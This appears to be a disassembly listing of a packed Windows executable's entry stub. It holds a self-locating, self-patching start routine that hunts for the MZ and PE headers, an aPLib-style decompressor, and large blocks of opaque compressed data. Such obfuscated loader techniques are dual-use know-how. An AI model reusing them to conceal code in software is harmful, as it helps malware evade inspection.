		dd 91A98FC9h, 4D5E6h, 5409Ah, 95172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053DF73 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005412E0 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 00541556 SIZE 00000069 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E0086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E0041
		popa
		jmp	short loc_4E0076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------

loc_4E0041:				; CODE XREF: start+18j
		call	$+5
		pop	eax

loc_4E0047:				; DATA XREF: ___:00437A64o
		and	eax, 0FFFFF000h
		xor	edi, edi

loc_4E004E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E006D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E0074

loc_4E006D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E004E
; ---------------------------------------------------------------------------

loc_4E0074:				; CODE XREF: start+57j
		mov	edi, eax

loc_4E0076:				; CODE XREF: start+1Bj
		jmp	loc_4E0265
; ---------------------------------------------------------------------------
		db 3
		dd 26AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------

loc_4E0086:				; CODE XREF: start+8j
		mov	eax, offset loc_53DF73
		mov	ecx, offset word_4E026A
		push	eax
		push	ecx
		call	sub_4E011B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E0265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
		dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
		dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh,	0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E011B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h

loc_4E0127:				; CODE XREF: sub_4E011B:loc_4E013Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2

loc_4E0132:				; CODE XREF: sub_4E011B+7Aj
					; sub_4E011B+C3j ...
		add	dl, dl
		jnz	short loc_4E013B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E013B:				; CODE XREF: sub_4E011B+19j
		jnb	short loc_4E0127
		add	dl, dl
		jnz	short loc_4E0146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0146:				; CODE XREF: sub_4E011B+24j
		jnb	short loc_4E0197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E0153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0153:				; CODE XREF: sub_4E011B+31j
		jnb	loc_4E0238
		add	dl, dl
		jnz	short loc_4E0162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0162:				; CODE XREF: sub_4E011B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E016D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E016D:				; CODE XREF: sub_4E011B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0178:				; CODE XREF: sub_4E011B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0183:				; CODE XREF: sub_4E011B+61j
		adc	eax, eax
		jz	short loc_4E018D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi

loc_4E018D:				; CODE XREF: sub_4E011B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0197:				; CODE XREF: sub_4E011B:loc_4E0146j
		mov	eax, 1

loc_4E019C:				; CODE XREF: sub_4E011B:loc_4E01B0j
		add	dl, dl
		jnz	short loc_4E01A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01A5:				; CODE XREF: sub_4E011B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E01B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01B0:				; CODE XREF: sub_4E011B+8Ej
		jb	short loc_4E019C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E01E3
		mov	ecx, 1

loc_4E01C0:				; CODE XREF: sub_4E011B:loc_4E01D4j
		add	dl, dl
		jnz	short loc_4E01C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01C9:				; CODE XREF: sub_4E011B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E01D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01D4:				; CODE XREF: sub_4E011B+B2j
		jb	short loc_4E01C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E01E3:				; CODE XREF: sub_4E011B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1

loc_4E01F1:				; CODE XREF: sub_4E011B:loc_4E0205j
		add	dl, dl
		jnz	short loc_4E01FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01FA:				; CODE XREF: sub_4E011B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E0205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0205:				; CODE XREF: sub_4E011B+E3j
		jb	short loc_4E01F1
		cmp	eax, 7D00h
		jnb	short loc_4E0228
		cmp	eax, 500h
		jb	short loc_4E0223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0223:				; CODE XREF: sub_4E011B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E022B

loc_4E0228:				; CODE XREF: sub_4E011B+F1j
		add	ecx, 2

loc_4E022B:				; CODE XREF: sub_4E011B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0238:				; CODE XREF: sub_4E011B:loc_4E0153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E0259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0259:				; CODE XREF: sub_4E011B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E011B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_4E0265:				; CODE XREF: start:loc_4E0076j
					; start+9Dj
		jmp	loc_53DF73
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E026A	dw 38E9h		; DATA XREF: start+77o
		dd 1563368h, 354BCBBh, 696D6568h, 2A846164h, 470138EAh
		dd 2223EEBFh, 0F2FB46B8h, 0FB102E11h, 0E19822EFh, 52F0EB0Fh
		dd 741C7365h, 41CE7261h, 4F2E2F70h, 0F5239C78h,	81721D9h
		dd 28EDA55Fh, 0B835F975h, 0C8FB4603h, 6F847B33h, 0B824C8FBh
		dd 9ED3BB43h, 0E0D4FF40h, 7092A3BFh, 0E758F03h,	0FE1103C6h
		dd 848B71E8h, 0BEF4AE3Bh, 0CDEF187Ah, 15C20336h, 3430F8D5h
		dd 42312D38h, 6068FDFEh, 0C58BF1FAh, 5060D4C8h,	5D0AE8h
		dd 3377ED81h, 95890645h, 0D240130h, 88154DB5h, 1440C585h
		dd 0F9BD1083h, 740E7003h, 45E88B0Ch, 0E523B8E2h, 3870DEC2h
		dd 3EE72444h, 6A1C98B1h, 29A3E8CCh, 749A0F68h, 0DF4A0783h
		dd 4B25030Ah, 0D5D20A89h, 214E921h, 1FAEC4Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pop	eax
		out	dx, al
		pop	edx
		or	[ecx+73465EAh],	al
		mov	ebx, edx
		mov	dword ptr [eax+ebx*8-73h], 400E8C08h
		mov	[eax], ecx
		cmp	dword ptr [esi+7Dh], 741D8063h
; ---------------------------------------------------------------------------
		dw 3F0Fh
		dd 83920820h, 0FF104CCFh, 0EB314312h, 61DC36E1h, 0C90A26BAh
		dd 34604C2h, 0FF7CC481h, 22490247h, 28D73AEh, 85D8B80h
		dd 198885C7h, 0A8D9450h, 88C3D101h, 51894118h, 44BD810Bh
		dd 755D0506h, 8D2728E3h, 0D864BA51h, 8A098075h,	20F4BB0Eh
		dd 37ABB85Bh, 0D3781F54h, 80F98D0h, 0F776754Bh,	47C3AF0Ah
		dd 46484A46h, 4245F9C5h, 8A7461D1h, 0BFF0D00Eh,	0FC45EEB1h
		dd 4EB4D41h, 4691AD47h,	408A3E80h, 6D84BAF7h, 0C7DCC34h
		dd 3E7FEB32h, 906D19F8h, 0E99F012h, 4A1050F4h, 0F02865C1h
		dd 0F807D604h, 0C203E0D1h, 333282Ch, 301C8ADBh,	7299FB80h
		dd 390A870Ah, 0EBA70577h, 14224CDEh, 0CF0DFE61h, 8ED660Ah
		dd 0C3E9EB1Eh, 8610D50Ah, 0B72411Ah, 77461B0Ah,	43D42406h
		dd 0EF05D01h, 7D83F4ECh, 0B0720263h, 76C00C66h,	0C8AAECA5h
		dd 0C039F826h, 0A840ED8Dh, 15FC553Bh, 0BD78820Fh, 0AA37B038h
		dd 1CBACA38h, 15B91C08h, 0BD08FC70h, 0FE0035F4h, 7549470Fh
		dd 22B938FAh, 0BB9C6ABBh, 0F18D7E01h, 0E30CEB82h, 2868EB0h
		dd 7463807h, 36066551h,	8ADCFF1Dh, 0E907A126h, 0B3590543h
		dd 170D0015h, 0FCC15638h, 0E6006E1Ch, 0F1606376h, 0F47CF7h
		dd 0E99BD492h, 5CF98B98h, 40BC6700h, 6BC32C04h,	0EF527E01h
		dd 5A214B87h, 4D8A20C4h, 82330525h, 180845h, 0C4524221h
		dd 0C60E9FC9h, 6719F490h, 0F1A2DF8Ch, 0E4828240h, 5E7D18DCh
		dd 1FE56A51h, 34CB8C1Ch, 39007F3Ch, 0F765B4Eh, 1F51B810h
		dd 1DD1043Dh, 6446983Bh, 2E750975h, 480E1160h, 2865E4ECh
		dd 27E0690h, 8E05C584h,	9BA41596h, 54047853h, 668C29C2h
		dd 0EE7DA71h, 2BFFB5CCh, 4773081h, 0C1341D22h, 33F98406h
		dd 41BC2075h, 0D90ADD3Fh, 2309CEFh, 26EC41CEh, 7ECC7F8Ch
		dd 3F4043FFh, 60E9A945h, 52C46240h, 11B5A08Ch, 0B1AA2882h
		dd 5AABCD11h, 56130884h, 5E820191h, 0AA20EE82h,	0DE082281h
		dd 548A1F37h, 234013B9h, 1443A597h, 0D939E1F9h,	10DA8D83h
		dd 2100028Eh, 5E281F6h,	0C860B161h, 0DDA0041Ah,	0B62CA1Ch
		dd 1A8618FEh, 78DB8C19h, 40BDA3C8h, 9BC2588h, 7E7B4D45h
		dd 31EA1723h, 79171B42h, 0C012E988h, 833BC70Bh,	3A02CA33h
		dd 0AC0441B0h, 0FC92601Eh, 2C6E0A5Ah, 1D8410h, 0C4EFCC82h
		dd 5C5870F5h, 8A590E0Ch, 600A2D86h, 2817C291h, 0CA0032EAh
		dd 0AF7FFDA4h, 0D8ACEEh, 0A866CFD3h, 0ADE4B72h,	0D644C964h
		dd 3913E946h, 0D9B7A500h, 3FA7CDFEh, 9D780039h,	839FD818h
		dd 0AE00CAAFh, 59D78CB5h, 4068C182h, 8D52106Fh,	0A8BB00C1h
		dd 692554CEh, 0FD1C6467h, 890B4008h, 14880E81h,	1BEA7816h
		dd 0A107017Bh, 5F5C39D7h, 2B0C40E9h, 0EA007653h, 16EC82D0h
		dd 1447490Dh, 0BB398C5Ch, 0EFF01860h, 2F5417D8h, 0B00FA28h
		dd 8274CC3Eh, 0F3677F8h, 0C98B39B5h, 0D10CC800h, 673D263Fh
		dd 588E8EBAh, 23BC4153h, 5AF0E505h, 1902C5Ch, 0E9F506CEh
		dd 543E570Ch, 0B92E03D1h, 0E88F08AFh, 3B5A304Ch, 91048262h
		dd 53E3B0Bh, 910D5D68h,	0FF0C158Dh, 0BDCA0090h,	7F3B476h
		dd 0D700AD4Bh, 490526EDh, 0C0228AD3h, 845BD1D8h, 459002EFh
		dd 0F44565E3h, 0E90077BBh, 118CE29Ah, 1A6E172h,	0C4E7B803h
		dd 40BCF30Bh, 15E351D9h, 8F720C3Ch, 687318Ch, 3C111316h
		dd 6791132h, 69AEFC8h, 201F18A4h, 0C4C0A065h, 0C3960F32h
		dd 384E1C11h, 671C80C6h, 9CEF3A54h, 0D2979E03h,	125103Bh
		dd 360A2910h, 0E0FBE431h, 0FA7FA304h, 191C0EF0h, 867BEA3Ch
		dd 2368E1Fh, 0D33A0081h, 0BB240BB1h, 0AA0070A9h, 4BA62E15h
		dd 0E02935Bh, 83DAE13Eh, 0E9E0E506h, 2A66B006h,	10DE6Eh
		dd 0E1B288F0h, 0DD28DB4Eh, 0E3F3BC00h, 0A00E4A83h, 0F07955h
		dd 7FD5A77h, 6ECAA78Fh,	38064CF2h, 652BAD28h, 0EB8A5C49h
		dd 365C5D00h, 191BC57Ch, 0E5A84C00h, 8893AEEDh,	11FC037Eh
		dd 6009E371h, 0E630C170h, 369399E4h, 1319C007h,	3492BAE0h
		dd 0AE942006h, 69582Bh,	3C93CC9Ch, 0E26546D1h, 10137400h
		dd 0DF339AA5h, 964E1D84h, 30B42AB5h, 1150312Bh,	8E007043h
		dd 79632F65h, 783BAA61h, 217E39C2h, 16012409h, 0FA9A8F00h
		dd 1A0E7B75h, 9872E4FBh, 5CF418h, 4B1BD6Ch, 0E9B52A7Dh
		dd 29735131h, 9413E7F5h, 0AB03497Ch, 0FA9E99D7h, 7F5024EDh
		dd 0C3D80798h, 24186A14h, 2D81036Dh, 50E06932h,	67031283h
		dd 318BCE15h, 0DF7001D7h, 0DD737D34h, 7F1080C4h, 9DE2D0A1h
		dd 1680CE5Dh, 700D8887h, 0C1471F6Ah, 1CF1DE00h,	0BA72B313h
		dd 85DA187Fh, 0B883B005h, 7CA9CC10h, 81676510h,	0E72281DFh
		dd 0FF71A080h, 2315F2E3h, 0A2C98D0Ch, 0C0F18DCh, 0D20984F6h
		dd 131C3588h, 76D0204Ah, 0F0B4A000h, 7006ED33h,	0D1F2C601h
		dd 0CD9584F5h, 7E463086h, 9D00F9EAh, 81A8BE0Dh,	0A191E0h
		dd 0C015BF95h, 717D07B2h, 0FE1FCF15h, 0A0400C4h, 0C810F1FAh
		dd 568D01B7h, 7C091CEDh, 0A0805077h, 0C91BDF17h, 0BEA8ECB2h
		dd 84BD0381h, 1CCD568Eh, 8A7261D1h, 7CF165C9h, 0AC698D0Eh
		dd 0CBD39DBh, 0E46E817Fh, 0F10ADF10h, 0A4B25047h, 71659D0Ch
		dd 0CD1D243Ah, 5AA70036h, 0D08FDA7Ch, 1308E500h, 0CF27FFE2h
		dd 5BD30389h, 5F9DB21Ch, 0CAB73900h, 0A41EDAB9h, 0BF8B00B8h
		dd 0ED268E03h, 91C00795h, 0A49D30BDh, 34CF1F4Ah, 0DF18051Eh
		dd 3B35C08Dh, 0D4068661h, 15FF95C9h, 0DB9E0030h, 1E0ACCA8h
		dd 0E00A3CCFh, 0E4D1BA61h, 64887EC4h, 875E005Bh, 7C694EF0h
		dd 0E5402D2Ah, 66C1280h, 1C7863F2h, 9D04B0A0h, 0C0C15E6Eh
		dd 0E714EDC9h, 18B33F94h, 0EB14F452h, 3680D882h, 15BC61DEh
		dd 0B70C4090h, 59747E5Fh, 0EEA473FCh, 0D9A8019Ch, 485C69AEh
		dd 0A11020CBh, 8DEB3A09h, 0B8282801h, 19F0CF60h, 0BE3001E1h
		dd 9AD7F7A3h, 21CDED91h, 0AF70E8D6h, 76F2E603h,	2408E060h
		dd 11E08A78h, 84EA0DE8h, 0D8F05914h, 2B19C77Ch,	6967A609h
		dd 0CA2EA601h, 0B0CC6448h, 80842DBh, 8A250F01h,	244DE1DDh
		dd 800A56A8h, 0B87EB261h, 2C39DB02h, 7D1848EDh,	36530E2h
		dd 0BD981128h, 0B8735974h, 54F36438h, 4748BAE0h, 0D498001Ch
		dd 17B830DCh, 0DF090B2h, 1899427Dh, 6269D069h, 0F6C46F41h
		dd 0D5292874h, 0DB0B0C9Ch, 0FE28D0ACh, 0AEC55C18h, 3E031618h
		dd 0D11841EDh, 8B7BF1D8h, 0BA206118h, 2A927548h, 1A059B1h
		dd 3A674BDEh, 0C8D5F27Fh, 0EF037350h, 0C5712157h, 2399A001h
		dd 3BD63BE8h, 0B82B1C80h, 0C10AB577h, 7FC03500h, 0E25ABF26h
		dd 0D5483887h, 8DA9DF87h, 51A240A0h, 0AD03FBFDh, 0A426332Eh
		dd 0C1100096h, 0FE1346D7h, 0A1004016h, 7824497Ah, 0E242BFh
		dd 0C1932B1Fh, 0C812AE6Ch, 583ED801h, 8E1165D5h, 0B80FD0h
		dd 1964214Ah, 7A71D485h, 5C495098h, 0F4AA725Ch,	94549801h
		dd 5BC507C4h, 0AB83F840h, 49A388h, 183A2363h, 8EC23CCDh
		dd 0E814331Fh, 84F5950Ah, 52CF615h, 0EFE6436h, 901FA849h
		dd 3A6B9A80h, 5F308C88h, 0AE16BBA0h, 0F606370Bh, 0FF1011E9h
		dd 4A23FC50h, 7C6500C5h, 573FA89h, 3C9A7A91h, 0F3951618h
		dd 209A29h, 3D471A5Eh, 8D6C314Eh, 45C80C00h, 0DFBE54E7h
		dd 9A0402C2h, 35D9DDBAh, 0ED1C4C48h, 10C4A448h,	74040840h
		dd 0C9F5650Ah, 648307Ch, 2FCD240h, 95D81B49h, 0C0441F7Eh
		dd 0AA0D8B12h, 3022F100h, 0A9BC4Ch, 6A9FEECAh, 0F1038F89h
		dd 0FB059D09h, 0D41C90E3h
		dd 10355983h, 20F31713h, 317CF430h, 8418CC61h, 4450F064h
		dd 0C4746E79h, 898BECF9h, 814AF4D4h, 1C0F751h, 6016C4A8h
		dd 6A880738h, 13D600C2h, 3BA8A097h, 2701E38Ch, 9BF7BDCBh
		dd 0ED2139E9h, 0D55060E2h, 0A988985Bh, 0F65A0Ch, 0BBC9EDEFh
		dd 2EE09800h, 50344D32h, 6F8B2680h, 41C966Ch, 0C85610h
		dd 7DB7D042h, 0CFEE8B1h, 0E995F1E4h, 202254E1h,	0EC1502D4h
		dd 0FD64D759h, 0E6174A1h, 49170072h, 6091370Ah,	8C10EB89h
		dd 870104E8h, 664ABFFEh, 0C5FC6886h, 1CA20984h,	6890DD06h
		dd 59C00294h, 0BD566FC7h, 6E290228h, 0F3063FCEh, 8C18E466h
		dd 0C98BB15h, 1CF54C37h, 4846728h, 85EB25C6h, 0EDCD069h
		dd 0A12AC26h, 9C4FE197h, 647006Fh, 0C21767F0h, 73245451h
		dd 899820A2h, 0FD0C3620h, 0FB30328h, 772C5C68h,	6B35281Ch
		dd 307D0A86h, 7FF480F1h, 33678818h, 0B053CF0Ch,	30153163h
		dd 0D2E10996h, 0D307792Eh, 0EC78177h, 19E59840h, 13CE0094h
		dd 0F0384868h, 0C4B0F730h, 0C8EE7D28h, 0F2C3320Dh, 0EC64C969h
		dd 0E71C315h, 19057D2Eh, 0C5085374h, 0DA799001h, 9474A8E0h
		dd 64B8141Ah, 1F3844F2h, 33CAE960h, 0AA1C2746h,	0A35EBA4Bh
		dd 0EEE0F104h, 5CC2FCC4h, 3E3C2E64h, 0FD2DB69Fh, 5983FD80h
		dd 42354F2Bh, 8CB1AB73h, 0C32A80BBh, 0DFD6966Ah, 143E4C53h
		dd 0C0593075h, 0DBFBCA59h, 0FC68E054h, 0D03091D3h, 4AF0DF3h
		dd 2B7FFE0Bh, 0D37CC0E5h, 4113DEF2h, 4140338h, 0BC941044h
		dd 54BA773Dh, 85791962h, 0B069DF20h, 478D3F1h, 6BB5218h
		dd 81EC7Fh, 0D4F013FAh,	0BF3DD3F5h, 5A01ED77h, 1985A348h
		dd 449F1C93h, 0D938302Eh, 7900B83Eh, 2F9CC1F2h,	2091B75h
		dd 8CF52463h, 0FCA45D95h, 8B408774h, 327FC811h,	156D009Ch
		dd 0E75FB486h, 297CD5h,	3F30D08Dh, 7D49DDB9h, 3EDC0D50h
		dd 61920A3Ah, 6039DF41h, 7C8DE195h, 2C34EC7Ch, 0BD4B1E5h
		dd 0C9801536h, 0B86EE3CFh, 0DD20BCB0h, 8600900Bh, 0F365258Ch
		dd 0CA8E9818h, 34222E81h, 0AD03803Dh, 0D95859C6h, 641F6015h
		dd 0C00A0FD4h, 30D012D2h, 2856BAh, 98655F72h, 2BA8FF42h
		dd 9E176828h, 0C0F7D028h, 311D1F31h, 227EA1h, 393C1B03h
		dd 0DD807944h, 29ECAB06h, 11EA2F00h, 0FCC9FAA2h, 0CEA902FFh
		dd 61D03558h, 95A44880h, 0E77C637Ch, 0FC1305EEh, 0C0FDF20h
		dd 8002F075h, 0FA83EB19h, 51F6FB22h, 4050960Ch,	0CD1DC7A4h
		dd 0D1607D83h, 74B6E110h, 696D0047h, 0C354D7Ah,	0F4605BD6h
		dd 59D83021h, 0D8FA6734h, 681F06B7h, 11746020h,	12ECDA06h
		dd 0B82181EAh, 0E851729Dh, 38C80180h, 1E2706F8h, 31737E53h
		dd 0C9013BF2h, 18DC67CBh, 0B030A659h, 68888BB1h, 5E69518Ch
		dd 9C44E0h, 2D0D792Ch, 6BE4F5ABh, 0A5496F2h, 970FB4F0h
		dd 2C3AD523h, 0F7A9B0E9h, 123162E0h, 2320AB9Dh,	529009C0h
		dd 0EC004ED9h, 4BC2F258h, 0C9C069FEh, 2C821720h, 6CC8C37Ch
		dd 0F213801Eh, 20900E95h, 0E139D836h, 9700D82Ch, 0D6E1CBC6h
		dd 7D601645h, 0CA87F620h, 0D25A2432h, 0E8E208E0h, 846A1701h
		dd 0B041AF0Fh, 4C2929E5h, 492AF43Eh, 0DB0E1DD4h, 0BC4B14F1h
		dd 13801234h, 96AC0BAFh, 88083492h, 0A87F5904h,	0D8E4E0E9h
		dd 0B7ED30A0h, 312A9780h, 9D1D7BAh, 0B069DA92h,	8C331Ch
		dd 27CA1EB4h, 0F6B032h,	0BBF2E6C0h, 430B0C33h, 6891F165h
		dd 260F685Fh, 0B5E806F5h, 20D44A10h, 1122214Ch,	2D48A1C3h
		dd 0D846A854h, 12E600B0h, 527F7CD9h, 0B25770D1h, 80E48830h
		dd 6137120h, 480023D8h,	79D21298h, 0C9FDDCCh, 0B6588467h
		dd 82601128h, 59C37E1h,	6CA51E86h, 617503ADh, 0F00455D1h
		dd 0BDAF917Fh, 4FA480D0h, 0A0A4AB16h, 80E0E5E3h, 8A446F6h
		dd 0BC83942Ah, 0ABC9851Ah, 94888F41h, 0CD785D4h, 64FB083h
		dd 0F1F05F91h, 60379DDh, 5CEF302Bh, 1621064Bh, 5918F065h
		dd 0AA35453Bh, 0B4B01849h, 0FEE0C654h, 750A9E12h, 0B1E9CC0Ch
		dd 0BD680A1Eh, 80DC35DCh, 0B7BA370Fh, 7A067520h, 0CEE30BD6h
		dd 451C0941h, 88A0CAA0h, 0F6DAB9FEh, 3FD6E00h, 3ABB30F2h
		dd 7CF80113h, 6173E219h, 85898AD5h, 0E44E9859h,	0BF416894h
		dd 227D3A9Dh, 0CC932EE4h, 809B670Eh, 955578BDh,	0C47201DFh
		dd 5DB25C7Eh, 18945117h, 14C8A920h, 0B1638000h,	3364C808h
		dd 56125FEh, 4F01015h, 83803A90h, 648EE9Ch, 7CD1D5F1h
		dd 0B4D65ACEh, 0D0ED5428h, 628A718h, 587E3602h,	1A71F310h
		dd 53F1F500h, 0D5F6AD67h, 5C987774h, 13D87244h,	1108C4E2h
		dd 60A140D1h, 3D7C663Bh, 7F120E0Dh, 1382E05Ch, 0C405379Dh
		dd 0D3251F91h, 497CCDB8h, 0B03C7056h, 0A839FD64h, 5CD7EEA4h
		dd 5894AC28h, 0D134E229h, 40DE0B3Fh, 13C76C7Fh,	1A3F51A2h
		dd 3D441Fh, 7FFF9C36h, 9E8DB173h, 56BAF4B9h, 0D8BCC8BCh
		dd 0AC6198EBh, 0F8754C61h, 2A650820h, 78A8E5FEh, 0FB7340DBh
		dd 0E446EF4Ah, 42A9B4BCh, 6B61102Ah, 0FB6D9201h, 8070930Ah
		dd 53DF171h, 83D844h, 5080A6EEh, 7A489DB9h, 7091D4h, 1F3C1DE7h
		dd 49EF6518h, 850738F2h, 0C5F677C5h, 0CF203243h, 27FBC90h
		dd 0C7A01950h, 249C9E48h, 0C903A0F5h, 0E1FD581Dh, 8A8E045h
		dd 5EC22010h, 0F2645B00h, 0C0BF952h, 9BF8002Dh,	803A9F8Fh
		dd 0A60306C6h, 201EBDB9h, 4F3EA837h, 12C1009Bh,	0C7DBD965h
		dd 0F300BEA8h, 1E61FE5Dh, 0A5E238h, 9629DE4Dh, 0FD0BD7B9h
		dd 0ED79CA03h, 0E842C31Dh, 0D660C5A3h, 9560640h, 0EC0040B8h
		dd 0E01AF761h, 0E44D9Ah, 0B4D27455h, 1EB1FE9Fh,	0F0DC39h
		dd 10ADE4Eh, 7D37680Fh,	0A99D0074h, 8EA66F3h, 0DE121AFAh
		dd 0E85A3B9Ah, 5F0435E0h, 591CF82Ah, 10090813h,	0CFD800E0h
		dd 2ECA6A44h, 3EA8A7B4h, 0E8BDD00h, 0F7A3E84Eh,	0DA726D1Fh
		dd 481B41Eh, 7FE61A2h, 0F6F826C0h, 12E10383h, 0B6C7D279h
		dd 4F2D23E8h, 46C32500h, 30E4D58Fh, 0ECDC0360h,	0F4100DCDh
		dd 2104075h, 0DB00F72Bh, 0CDB78212h, 0B500FF0Bh, 0DC18F111h
		dd 1798214Ah, 0B429F7h,	0C49ECD9Fh, 402662A1h, 0E101049Ah
		dd 3FDD9C6Fh, 9C34093h,	94177C38h, 0EA67015Dh, 0D92105A2h
		dd 125F60A6h, 0CDD27C00h, 1528FF0Ch, 0CCF1244Fh, 0C1B00094h
		dd 0DB4C5F2Eh, 0A9CABE02h, 0C0FE5CAEh, 39332D58h, 29007B9Fh
		dd 68B4B86Ah, 370019AFh, 81BB364Ch, 0FB1BC2Ch, 7EF07524h
		dd 40FB6626h, 0F8091408h, 80911C20h, 0BFD29558h, 0BD00D168h
		dd 0C78BF319h, 7B0E17Fh, 0DCCE6D0Dh, 0AA09307Eh, 575169Fh
		dd 331A0C00h, 57E28FA0h, 0BFD40B95h, 8C3575CAh,	0A95D805Fh
		dd 461F95Ah, 0A5E12500h, 6C46CF90h, 0CA0300C9h,	0F51D0CFEh
		dd 301D0E8Ch, 0F03B2F3h, 0F92DE471h, 68E8AB09h,	0A670F9h
		dd 7BB6DA6Ch, 0D17C41F8h, 0B9B4C300h, 1EDD68BCh, 4D7F00C2h
		dd 751F0898h, 0C803F87Dh, 16A0FE9Eh, 0E0F9DB15h, 810CF4h
		dd 0CC8612EBh, 0EFEA706h, 264A1E00h, 0D4F7FDDh,	0CE1F07C2h
		dd 70B5EEF0h, 4C16F5B8h, 19000970h, 0E384B233h,	2BA4755h
		dd 2D040ACDh, 0ACC14B68h, 5D161058h, 0BB6F3EDAh, 4D108CCh
		dd 4300FABFh, 19932A99h, 0CE0028B1h, 0AA0EA527h, 0A5CB7522h
		dd 92B05834h, 0DD011D07h, 0A0DE22B5h, 0B9D52794h, 11F010FAh
		dd 0AC1FA17Dh, 95F07CFDh, 7DBF0180h, 1878D398h,	88423E81h
		dd 0D01F3CD9h, 0BC1A00F0h, 73EB2831h, 6925F01Eh, 0F6B8689Dh
		dd 4AE70104h
		dd 0E18B9FD0h, 0A9B0F4CEh, 0AF506300h, 0E8043747h, 0DAF63069h
		dd 85180958h, 0CC56C919h, 80C37610h, 9D392A96h,	707B7C87h
		dd 8D1FA607h, 602DD628h, 0FC7C6800h, 0B04B341h,	0B2171421h
		dd 5C81C97h, 14F45212h,	3B4A0079h, 7A733E55h, 0D4F2A36h
		dd 0C9C88h, 17414D74h, 392B56B5h, 2E8D441Eh, 57C70B80h
		dd 60AE69E6h, 0D608A8CDh, 19DB053h, 0B54A7F54h,	7057F611h
		dd 22372EBDh, 8A07912h,	37DBE30h, 9506D109h, 0EAA2D0B1h
		dd 0A057A8A0h, 0FA17042Fh, 75C34962h, 0E27AB139h, 4F3B0CDDh
